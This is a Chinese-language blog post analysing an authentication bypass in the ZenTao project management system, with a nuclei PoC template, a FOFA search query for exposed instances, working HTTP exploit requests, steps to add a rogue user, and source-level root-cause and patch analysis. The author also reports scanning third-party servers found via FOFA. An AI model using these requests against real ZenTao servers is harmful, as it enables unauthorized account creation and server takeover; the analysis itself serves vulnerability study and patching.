漏洞介绍
禅道项目管理软件是国产的开源项目管理软件,专注研发项目管理,内置需求管理、任务管理、bug管理、缺陷管理、用例管理、计划发布等功能,完整覆盖了研发项目管理的核心流程。
禅道项目管理系统存在身份认证绕过漏洞,远程攻击者利用该漏洞可以绕过身份认证,调用任意API接口并修改管理员用户的密码,以管理员用户登录该系统,能够完全接管服务器。
影响版本
16.x <= 禅道项目管理系统< 18.12(开源版)
6.x <= 禅道项目管理系统< 8.12(企业版)
3.x <= 禅道项目管理系统< 4.12(旗舰版)
POC
近期禅道PMS曝出一个身份绕过漏洞,并且已经有poc公开,poc如下:
id: easycorp-zentao-pms-idor
info:
name: 禅道项目管理系统身份认证绕过漏洞
author: GuoRong_X
severity: critical
description: |
- 禅道系统某些API设计为通过特定的鉴权函数进行验证,但在实际实现中,这个鉴权函数在鉴权失败后并不中断请求,而是仅返回一个错误标志,这个返回值在后续没有被适当处理。此外,该系统在处理某些API时未能有效检查用户身份,允许未认证的用户执行某些操作,从而绕过鉴权机制。
reference:
- https://mp.weixin.qq.com/s/hiGI_fQmXOHdkPqn6x00Jw
metadata:
verified: true
fofa-query: title="用户登录- 禅道"
tags: zentao
http:
- method: GET
path:
- "{{BaseURL}}/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu"
matchers-condition: and
matchers:
- type: word
part: header
words:
- 'Set-Cookie: zentaosid='
- type: status
status:
- 200
# digest: 4a0a0047304502200b7a7caf457a9e566160cfdc539a99325db1513d5e4172a9a0a66f2f44e63022100fe0cc4ffd848c733eba3240bf102695253caa1420845a2b8aec5ca731e394759:58d4ffcb61df0489d6ab2fd018c17de6
检测逻辑是,通过向目标url发送一个GET请求,如果响应码为200,并且header中包含set-cookie: zentaosid=
,即存在漏洞。
通过fofa找到几个目标,用nuclei扫描后手动尝试。先看看抓取的报文:
在response中确实带了zentaosid。
把cookie加到请求header中:
而不带cookie时,响应如下:
由此可以判断,应该是利用成功了。
而在提取攻击特征时,测试了几个不同的ip,发现对于参数m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu
,有些ip只需要前三个参数即可,而有些ip需要带上全部参数,否则会提示param_code_missing,虽然也有zentaosid,但是带入到请求头中之后,会发现响应401,unauthorized:
因此通过控制变量的方式似乎无法确定触发漏洞的点。
下面通过本地搭建环境,结合上源码来分析一下该漏洞的成因。
环境搭建
这里使用的是linux一键安装包,版本为18.11,在本地kali中搭建。
下载地址如下:
禅道18.11发布啦,内置12种AI小程序,全面兼容常用语言模型 - 禅道下载 - 禅道开源项目管理软件 (zentao.net)
下载到/opt目录下,解压:
tar zxvf ZenTaoPMS-18.11-zbox_amd64.tar.gz
/opt/zbox/zbox start
即可开启全部服务:
输入ip:port,选择开源版本即可:
漏洞复现
获取cookie
添加用户
把cookie加到请求头中,添加用户,ry4n/123456abc..
虽然返回403,但是已经成功添加
验证
用admin账户到后台查看:
已经多了ry4n用户。
尝试登录:
成功登录。
至此,成功绕过了身份验证,并且添加了用户,能够直接登录后台。
漏洞成因
poc分析
这里部署的版本为18.11.
主要的commit是在:
主要的改动在www/api.php,module/common/model.php,framework/base/router.class.php和framework/api/entry.class.php文件中。
一键部署的情况下,源码在/opt/zbox/app/zentao目录。
在获取cookie时,是通过一个GET请求,访问api.php,重点看一下api.php。
在differ中的修改如下:
删除$common->checkEntry();
,改成了if(!$app->version) $common->checkEntry();
直接访问/api.php:
报错EMPTY_ENTRY.直接到代码中搜索该字符串:
定位到module/common/model.php中的checkEntry方法,并且可以判断出$this->app->version是false,走到了Old version这个分支。
打印一下$this->app->version,为一个空字符串,bool类型为false。
api.php中,第37行调用了该函数,从调试结果也可以看到同样的结果:
检查到空入口,代码到此终止。
接下来直接访问触发漏洞的url:
http://192.168.122.111/zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu
这里是有一个报错,Call to undefined method helper::end() in /opt/zbox/app/zentao/module/common/model.php:454
,是在deny()方法中,但是仍然能够利用成功。
就从这个调用栈入手:
-
www/api.php(49): api->loadModule()
-
framework/api/router.class.php(200): router->loadModule()
-
framework/router.class.php(716): baseRouter->loadModule()
-
framework/base/router.class.php(2319): testcase->saveXmindImport()
-
module/testcase/control.php(3163): commonModel->deny('testcase', 'importXmind')
deny()是被module/testcase/control.php中的saveXmindImport方法调用:
而saveXmindImport()方法,是在framework/api/router.class.php中的loadModule方法中,通过call_user_func_array()来调用:
调试打印出有关参数:
可以看到调用了savexmindimport方法,并且没有传入参数。
在call方法前直接die,无法利用成功:
因此问题应该就出在call方法调用之后。
if(!commonModel::hasPriv("testcase", "importXmind")) $this->loadModel('common')->deny('testcase', 'importXmind');
在if判断中,进入到了deny方法,因此commonModel::hasPriv("testcase", "importXmind")的返回值应该为false。
直接在deny开头加上die:
此时依然能够获取cookie,但是将cookie带入后,无法利用成功。
下面跟进deny中查看,整体的逻辑如下:
首先尝试重新加载用户的权限信息,如果用户仍然没有权限访问指定的模块和方法,则将用户重定向到一个权限拒绝的页面。
把$user打印出来看一下:
在权限重新加载之后,$user没有变化。通过die方法进行尝试,当die在$this->session->set('user', $user);
之前时,获取到的cookie无效,如果在set之后,即可进行权限绕过:
修改代码,将后续的代码全部忽略,并且通过反射找到set()方法:
去对应的文件里找set方法,代码如下:
看看set方法的调用栈,并且打印出key和对应的value:
返回的结果如下:
enter set method:
#0 super->set(company, stdClass Object ([id] => 1,[name] => 禅道软件,[phone] => ,[fax] => ,[address] => ,[zipcode] => ,[website] => ,[backyard] => ,[guest] => 0,[admins] => ,admin,,[deleted] => 0)) called at [/opt/zbox/app/zentao/module/common/model.php:261]
#1 commonModel->setCompany() called at [/opt/zbox/app/zentao/module/common/model.php:29]
#2 commonModel->__construct() called at [/opt/zbox/app/zentao/framework/base/router.class.php:1490]
#3 baseRouter->loadCommon() called at [/opt/zbox/app/zentao/www/api.php:34]
**string(7) "company"
**object(stdClass)#483 (11) {
["id"]=>
int(1)
["name"]=>
string(12) "禅道软件"
["phone"]=>
string(0) ""
["fax"]=>
string(0) ""
["address"]=>
string(0) ""
["zipcode"]=>
string(0) ""
["website"]=>
string(0) ""
["backyard"]=>
string(0) ""
["guest"]=>
string(1) "0"
["admins"]=>
string(7) ",admin,"
["deleted"]=>
string(1) "0"
}
**array(1) {
["company"]=>
object(stdClass)#483 (11) {
["id"]=>
int(1)
["name"]=>
string(12) "禅道软件"
["phone"]=>
string(0) ""
["fax"]=>
string(0) ""
["address"]=>
string(0) ""
["zipcode"]=>
string(0) ""
["website"]=>
string(0) ""
["backyard"]=>
string(0) ""
["guest"]=>
string(1) "0"
["admins"]=>
string(7) ",admin,"
["deleted"]=>
string(1) "0"
}
}
enter set method:
#0 super->set(user, stdClass Object ([rights] => ,[groups] => Array (),[admin] => )) called at [/opt/zbox/app/zentao/module/common/model.php:431]
#1 commonModel->deny(testcase, importXmind) called at [/opt/zbox/app/zentao/module/testcase/control.php:3163]
#2 testcase->saveXmindImport() called at [/opt/zbox/app/zentao/framework/base/router.class.php:2319]
#3 baseRouter->loadModule() called at [/opt/zbox/app/zentao/framework/router.class.php:716]
#4 router->loadModule() called at [/opt/zbox/app/zentao/framework/api/router.class.php:200]
#5 api->loadModule() called at [/opt/zbox/app/zentao/www/api.php:49]
**string(4) "user"
**object(stdClass)#672 (3) {
["rights"]=>
bool(false)
["groups"]=>
array(0) {
}
["admin"]=>
bool(false)
}
**array(2) {
["company"]=>
object(stdClass)#483 (11) {
["id"]=>
int(1)
["name"]=>
string(12) "禅道软件"
["phone"]=>
string(0) ""
["fax"]=>
string(0) ""
["address"]=>
string(0) ""
["zipcode"]=>
string(0) ""
["website"]=>
string(0) ""
["backyard"]=>
string(0) ""
["guest"]=>
string(1) "0"
["admins"]=>
string(7) ",admin,"
["deleted"]=>
string(1) "0"
}
["user"]=>
object(stdClass)#672 (3) {
["rights"]=>
bool(false)
["groups"]=>
array(0) {
}
["admin"]=>
bool(false)
}
}
可以看到set方法有两次调用,流程大致如下 :
这里有两处调用了set方法。
第一处是loadCommon,在构造方法中,调用了setCompany方法,并且通过$this->session->set('company',$company)
,设置了company的内容。注意到在setCompany方法后,跟了一个setUser方法:
跟进去添加echo语句进行调试,发现if判断全部为false,没有执行:
很明显,重点在于第二处set的调用。
在api.php中,首先有$app->loadModule,跟到loadModule方法中,再调用父类方法,通过call_user_func_array调用saveXmindImport方法,if语句为true(if(!commonModel::hasPriv("testcase", "importXmind")) $this->loadModel('common')->deny('testcase', 'importXmind');
),最终进到deny,调用set方法($this->session->set('user', $user);
),设置了user,并且通过返回的cookie,即可进行未授权操作。
回到在漏洞复现时遇到的问题:
对于参数`m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu`,有些ip只需要前三个参数即可,而有些ip需要带上全部参数,否则会提示param_code_missing,虽然也有zentaosid,但是带入到请求头中之后,会发现响应401,unauthorized
目前已经明确的是,需要通过m=testcase&f=savexmindimport参数,来调用saveXmindImport方法,进而最终进入deny()->set(),而后面的HTTP_X_REQUESTED_WITH,productID和branch参数暂时未知,下面具体看看这些参数。
直接搜索HTTP_X_REQUESTED_WITH:
简单筛选之后,基本可以确认就是在isAjaxRequest方法中。
直接打印调用栈查看:
可以看到,首先是在api.php中,$app->loadModule(),进到setParams:
再到new $className():
这里创建了一个control类的实例,可以通过调试看到,className就是testcase,最终跟到testcase的construct:
跟前面提到的saveXmindImport相对应:
也就是说,在进入到saveXmindImport方法,执行deny之前,需要先进行实例化,而HTTP_X_REQUESTED_WITH参数就是在实例化的过程中,进行判断。
首先在外层的if语句中,!isonlybody为true,进入到内层逻辑,通过var_dump((bool))可以看到empty($products)为true,而整个if condition为false,因此不会执行return print(xxx):
如果if为true,执行了locate,就会跳转到"http://192.168.122.111/zentao/index.php?m=product&f=showErrorNone&t=json&moduleName=qa&activeMenu=testcase&objectID=0"也就是用户登录界面,至此,实例化失败,并且后续的saveXmindImport()->deny()也全部中断。
因此isAjaxRequest()必须为true,结合代码如下:
$isAjax = (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && $_SERVER['HTTP_X_REQUESTED_WITH'] === 'XMLHttpRequest') || (isset($_GET['HTTP_X_REQUESTED_WITH']) && $_GET['HTTP_X_REQUESTED_WITH'] === 'XMLHttpRequest');
因此,||两边有一个为真即可,可以在url中添加HTTP_X_REQUESTED_WITH=XMLHttpRequest,也可以添加到请求头中.
新的利用方式
经过测试,两种方法均可利用成功:
GET /zentao/api.php?m=testcase&f=savexmindimport HTTP/1.1
Host: 192.168.122.111
Upgrade-Insecure-Requests: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
GET /zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest HTTP/1.1
Host: 192.168.122.111
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
综上,只需要testcase,savexmindimport和XMLHttpRequest参数满足即可,保证代码能够顺利实例化testcase的control,并且进入到deny,set添加user属性即可。
代码differ
下面针对补丁来进行分析。
身份验证绕过漏洞,要么是在给出cookie的时候出问题,要么是在拿到cookie之后,鉴权的时候出问题。
也就是如下两个url:
-
/zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest
-
/zentao/api.php/v1/users
/zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest
首先是/zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest,在前面已经分析过,在checkEntry中,$this->app->version为false,因此本来也不会进入if语句进行判断,此处修改并没有改变执行逻辑:
下面是同一个文件中的checkNewEntry方法:
commit之后,直接删除了checkNewEntry方法,而该方法仅仅是在checkEntry中,当$this->app->version为true时,会进行调用:
此处改动也没有影响执行逻辑。
往下就到了startSession():
主要的改动是在if条件判断中,直接在代码中加入如下调试语句:
再次访问后结果如下:
(isset($_GET[$this->config->sessionVar]))和(isset($_SERVER['HTTP_TOKEN']))都为false,同样没有影响代码的执行逻辑。
最后一处commit在framework/api/entry.class.php中:
分别在__construct()和checkPriv()方法中加入类似下面的调试语句:
刷新之后并没有任何print,因此并没有调用这两个方法。
很明显,commit修改的部分,主要是在鉴权的阶段。
/zentao/api.php/v1/users
在访问/v1/users时,$this->app->version为v1,因此会进入到checkNewEntry中,并且返回false。
而startSession和checkPriv同上,暂时跳过。
最后就剩下构造方法:
存在漏洞的代码为:
if(!isset($this->app->user) or $this->app->user->account == 'guest') throw EndResponseException::create($this->sendError(401, 'Unauthorized'));
而修改之后的代码为:
if(!isset($this->app->user->account) or $this->app->user->account == 'guest') throw EndResponseException::create($this->sendError(401, 'Unauthorized'));
在代码中加上var_dump((bool)xxx),刷新后查看:
可以看到,在漏洞修复之后,if条件语句的值由false变为了true,成功走到了throw EndResponseException::create($this->sendError(401, 'Unauthorized'))
,抛出异常,并且返回了401未授权。
将原先的代码注释掉,跑一遍修复后的代码:
401,unauthorized。
可见,问题就出在构造方法,在其中进行权限判断时出现了错误。
将$this->app->user打印出来:
user对象存在,所以!isset($this->app->user)
为false,而user->account为NULL,$this->app->user->account == 'guest'
也为false,导致整个condition为false,跳过了sendError。
而在修改之后,先检查了user->account是否存在,如果account不存在,或者account==guest,就抛出异常,终止程序。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)